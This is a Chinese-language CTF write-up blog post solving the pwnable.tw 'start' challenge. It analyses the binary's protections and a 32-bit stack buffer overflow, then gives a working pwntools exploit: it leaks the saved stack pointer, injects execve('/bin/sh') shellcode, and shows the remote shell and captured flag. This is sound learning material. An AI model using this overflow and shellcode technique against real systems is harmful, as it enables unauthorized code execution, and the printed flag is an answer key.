329 lines
10 KiB
Markdown
329 lines
10 KiB
Markdown
---
|
||
title: 【Pwnable.tw】start
|
||
date: 2019-10-25 21:04:14
|
||
tags:
|
||
- 二进制
|
||
- Linux
|
||
- CTF
|
||
categories: Pwn
|
||
---
|
||
|
||
# [Pwnable.tw](http://pwnable.tw/) start
|
||
|
||
程序链接：https://pwnable.tw/static/chall/start
|
||
|
||
## 0x01 检查保护情况
|
||
|
||
不得不说，[checksec](http://www.trapkit.de/tools/checksec.html)这个工作看似简单，用用现成工具就行，但这决定了我们之后漏洞利用的方式，是否栈代码执行，还是ROP。
|
||
最好多用几个工具进行检查，兼听则明。比如这个程序用peda检查就开启了NX，但实际上并没有。所以理想的话，把shellcode布置到栈上就可以了！
|
||
|
||
```
|
||
$ checksec ./start
|
||
Arch: i386-32-little
|
||
RELRO: No RELRO
|
||
Stack: No canary found
|
||
NX: NX disabled
|
||
PIE: No PIE (0x8048000)
|
||
```
|
||
|
||
**RELRO(Relocation Read Only)：尽量使存储区域只读**
|
||
|
||
## 0x02 漏洞分析
|
||
|
||
用IDA逆向分析，汇编代码
|
||
|
||
```
|
||
保存现场环境esp、_exit
|
||
.text:08048060 push esp
|
||
.text:08048061 push offset _exit
|
||
|
||
清空寄存器EAX EBX ECX EDX
|
||
.text:08048066 xor eax, eax
|
||
.text:08048068 xor ebx, ebx
|
||
.text:0804806A xor ecx, ecx
|
||
.text:0804806C xor edx, edx
|
||
|
||
向栈上压入参数
|
||
.text:0804806E push 3A465443h CTF:
|
||
.text:08048073 push 20656874h the
|
||
.text:08048078 push 20747261h art
|
||
.text:0804807D push 74732073h s st
|
||
.text:08048082 push 2774654Ch Let’
|
||
|
||
系统调用80h
|
||
.text:08048087 mov ecx, esp ; addr
|
||
.text:08048089 mov dl, 14h ; len
|
||
.text:0804808B mov bl, 1 ; fd
|
||
.text:0804808D mov al, 4
|
||
.text:0804808F int 80h ; LINUX - sys_write
|
||
|
||
系统调用80h
|
||
.text:08048091 xor ebx, ebx
|
||
.text:08048093 mov dl, 3Ch
|
||
.text:08048095 mov al, 3
|
||
.text:08048097 int 80h ; LINUX -
|
||
|
||
恢复栈平衡，返回到_exit
|
||
.text:08048099 add esp, 14h
|
||
.text:0804809C retn
|
||
.text:0804809C _start endp ; sp-analysis failed
|
||
```
|
||
|
||
|
||
|
||
### **INT 80h 系统调用方法**
|
||
|
||
**系统调用的过程**可以总结如下：
|
||
1． 执行用户程序(如:fork)
|
||
2． 根据glibc中的函数实现，取得系统调用号并执行int $0x80产生中断。
|
||
3． 进行地址空间的转换和堆栈的切换，执行SAVE_ALL。（进行内核模式）
|
||
4． 进行中断处理，根据系统调用表调用内核函数。
|
||
5． 执行内核函数。
|
||
6． 执行RESTORE_ALL并返回用户模式
|
||
Linux 32位的系统调用时通过int 80h来实现的，eax寄存器中为调用的功能号，ebx、ecx、edx、esi等等寄存器则依次为参数。
|
||
|
||
[关于系统调用的功能号](http://syscalls.kernelgrok.com/)：
|
||
|
||
```
|
||
#define __NR_exit 1
|
||
#define __NR_fork 2
|
||
#define __NR_read 3
|
||
#define __NR_write 4
|
||
#define __NR_open 5
|
||
#define __NR_close 6
|
||
#define __NR_waitpid 7
|
||
#define __NR_creat 8
|
||
#define __NR_link 9
|
||
#define __NR_unlink 10
|
||
#define __NR_execve 11
|
||
```
|
||
|
||
**第一个系统调用：**
|
||
将esp开始的14h字节数据写入标准输出（文件描述符1），即输出"Let's start the CTF:“
|
||
|
||
|name |eax |ebx |ecx |edx |
|
||
|--- |--- |--- |--- |--- |
|
||
|[sys_write](http://www.kernel.org/doc/man-pages/online/pages/man2/write.2.html) |0x04 |unsigned int fd = 1 |const char __user *buf = esp |size_t count =14h |
|
||
|--- |--- |--- |--- |--- |
|
||
|
||
**第二个系统调用：**
|
||
从标准输入读取3ch字节到栈空间
|
||
|
||
|name |eax |ebx |ecx |edx |
|
||
|--- |--- |--- |--- |--- |
|
||
|[sys_read](http://www.kernel.org/doc/man-pages/online/pages/man2/read.2.html) |0x03 |unsigned int fd = 1 |char __user *buf = esp |size_t count = 3ch |
|
||
|--- |--- |--- |--- |--- |
|
||
|
||
### 栈变化情况
|
||
|
||
1. 程序执行到0804808F：sys_write
|
||
|
||
输出14h字节数据：Let's start the CTF:
|
||
|
||
```
|
||
+-----------------+ <----
|
||
| Let’ | |
|
||
+-----------------+ |
|
||
| s st | |
|
||
+-----------------+ |
|
||
| art | 14h
|
||
+-----------------+ |
|
||
| the | |
|
||
+-----------------+ |
|
||
| CTF: | |
|
||
+-----------------+ <-----
|
||
| offset _exit |
|
||
+-----------------+
|
||
| Saved ESP |
|
||
H-> +-----------------+
|
||
```
|
||
|
||
1. 08048097: sys_read
|
||
|
||
read函数最多可以读取3ch字节，超出了分配的空间，可以用来覆盖ret_addr和esp。经调试验证，20字节后覆盖ret，24字节后覆盖esp。
|
||
|
||
```
|
||
gdb-peda$ pattern search
|
||
Registers contain pattern buffer:
|
||
EIP+0 found at offset: 20
|
||
Registers point to pattern buffer:
|
||
[ECX] --> offset 0 - size ~32
|
||
[ESP] --> offset 24 - size ~8
|
||
Pattern buffer found at:
|
||
0xffcc2764 : offset 0 - size 30 ($sp + -0x18 [-6 dwords])
|
||
Reference to pattern buffer not found in memory
|
||
```
|
||
|
||
```
|
||
+-----------------+ <----
|
||
| aaaa | |
|
||
+-----------------+ |
|
||
| aaaa | |
|
||
+-----------------+ |
|
||
| aaaa | 14h
|
||
+-----------------+ |
|
||
| aaaa | |
|
||
+-----------------+ |
|
||
| aaaa | |
|
||
+-----------------+ <-----
|
||
| aaaa |
|
||
+-----------------+
|
||
| Saved ESP |
|
||
H-> +-----------------+
|
||
```
|
||
|
||
## 0x03 漏洞利用
|
||
|
||
### 利用思路
|
||
|
||
现在EIP已经在我们的掌控之中了，关键是如何跳转到布置的shell code中。一般来说，首先会去找JMP ESP指令，这样就能让shellcode获得执行。但这段汇编代码没有，可以利用的只有read和write。如果可以write出Saved ESP的地址，然后覆盖掉offset _exit，就能成功shell。
|
||
|
||
1. 泄露Saved ESP
|
||
|
||
```
|
||
start = p.recvuntil(':') //等待write执行完毕
|
||
payload = 'a'*0x14 + p32(0x08048087) //发送溢出数据，覆盖ret为0x08048087->输出14h字节
|
||
p.send(payload)
|
||
data = p.recv() //接收输出数据，其中就有Saved ESP
|
||
```
|
||
|
||
debug过程：
|
||
|
||
```
|
||
[DEBUG] Received 0x14 bytes:
|
||
"Let's start the CTF:"
|
||
[DEBUG] Sent 0x18 bytes:
|
||
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
|
||
00000010 61 61 61 61 87 80 04 08 │aaaa│····││
|
||
00000018
|
||
[DEBUG] Received 0x14 bytes:
|
||
00000000 **20 53 81**** ff** 01 00 00 00 58 6d 81 ff 00 00 00 00 │ S··│····│Xm··│····│
|
||
00000010 60 6d 81 ff │`m··││
|
||
00000014
|
||
```
|
||
|
||
2. 覆盖RET
|
||
|
||
此时程序已经泄露出之前的Saved_esp，栈的情况已经摸清了，然后程序继续执行read，注意read完 add esp, 14h后再ret，因此，ret_addr在esp+14h的地方。
|
||
|
||
```
|
||
payload = 'a'*0x14 + p32(saved_esp + 20) + shellcode
|
||
print p32(saved_esp)
|
||
p.send(payload)
|
||
```
|
||
|
||
3. shellcode
|
||
|
||
shellcode同样可以用系统调用的方式执行execve("/bin/sh",NULL,NULL)
|
||
|
||
|name |eax |ebx |ecx |edx |esi |
|
||
|--- |--- |--- |--- |--- |--- |
|
||
|[sys_execve](http://www.kernel.org/doc/man-pages/online/pages/man2/execve.2.html) |0x0b |char __user * |char __user *__user * |char __user *__user * |[struct pt_regs](http://lxr.free-electrons.com/source/arch/alpha/include/asm/ptrace.h?v=2.6.35#L19) |
|
||
|--- |--- |--- |--- |--- |--- |
|
||
|
||
其中，该程序是 32 位，所以我们需要使得
|
||
|
||
* 系统调用号，即 eax 应该为 0xb
|
||
* 第一个参数，即 ebx 应该指向 /bin/sh 的地址，其实执行 sh 的地址也可以。
|
||
* 第二个参数，即 ecx 应该为 0
|
||
* 第三个参数，即 edx 应该为 0
|
||
|
||
|
||
```
|
||
xor eax,eax //清空eax
|
||
push eax //0入栈，当作字符/bin/sh结尾
|
||
push '/sh'
|
||
push '/bin' //'/sh'为3字节，未对齐' ->'/sh\0'或//sh
|
||
mov ebx, esp //指向/bin/sh地址
|
||
xor ecx,ecx
|
||
xor edx,edx
|
||
mov al, 0xb //系统调用号
|
||
int 80
|
||
```
|
||
|
||
```
|
||
shellcode='''
|
||
xor eax,eax
|
||
push eax
|
||
push %s
|
||
push %s
|
||
mov ebx, esp
|
||
xor ecx,ecx
|
||
xor edx,edx
|
||
mov al, 0xb
|
||
int 0x80''' %(u32('/sh\0'),u32('/bin'))
|
||
```
|
||
|
||
使用asm(shellcode)来进行汇编,可以使用context来指定cpu类型以及操作系统，如context(arch = 'amd64' , os = 'linux', log_level="debug")
|
||
|
||
|
||
### Catch THE FLAG
|
||
|
||
```python
|
||
from pwn import *
|
||
from binascii import *
|
||
|
||
shellcode='''
|
||
xor eax,eax
|
||
push eax
|
||
push %s
|
||
push %s
|
||
mov ebx, esp
|
||
xor ecx,ecx
|
||
xor edx,edx
|
||
mov al, 0xb
|
||
int 0x80''' %(u32('/sh\0'),u32('/bin'))
|
||
|
||
def dbg():
|
||
p = process('./start')
|
||
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
|
||
context.log_level = 'debug'
|
||
gdb.attach(proc.pidof(p)[0])
|
||
pause()
|
||
return p
|
||
|
||
def leak_esp(p):
|
||
start = p.recvuntil(':')
|
||
payload = 'a'*0x14 + p32(0x08048087)
|
||
p.send(payload)
|
||
saved_esp = p.recv()[:4]
|
||
return u32(saved_esp)
|
||
|
||
def pwn(p,saved_esp):
|
||
payload = 'a'*0x14 + p32(saved_esp + 20) + asm(shellcode)
|
||
p.send(payload)
|
||
p.interactive()
|
||
|
||
if __name__ == '__main__':
|
||
# p = dbg()
|
||
# p = process("./start")
|
||
p = remote("chall.pwnable.tw",10000)
|
||
saved_esp = leak_esp(p)
|
||
print "leak saved_esp: %s" %hex(saved_esp+20)
|
||
pwn(p,saved_esp)
|
||
```
|
||
|
||
```shell
|
||
$ python ./start.py
|
||
[+] Opening connection to chall.pwnable.tw on port 10000: Done
|
||
leak saved_esp: 0xffb43704
|
||
[*] Switching to interactive mode
|
||
$ whoami
|
||
start
|
||
$ find -name flag
|
||
./home/start/flag
|
||
$ cat ./home/start/flag
|
||
FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}
|
||
```
|
||
|
||
##
|
||
|
||
## REF
|
||
|
||
[Linux 系统调用](https://introspelliam.github.io/2017/08/06/pwn/%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8%E7%BA%A6%E5%AE%9A/)
|
||
|
||
**pwntools使用**
|
||
http://brieflyx.me/2015/python-module/pwntools-intro/
|
||
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/
|
||
https://tianstcht.github.io/pwntools%E7%9A%84%E4%BD%BF%E7%94%A8%E6%8A%80%E5%B7%A7/
|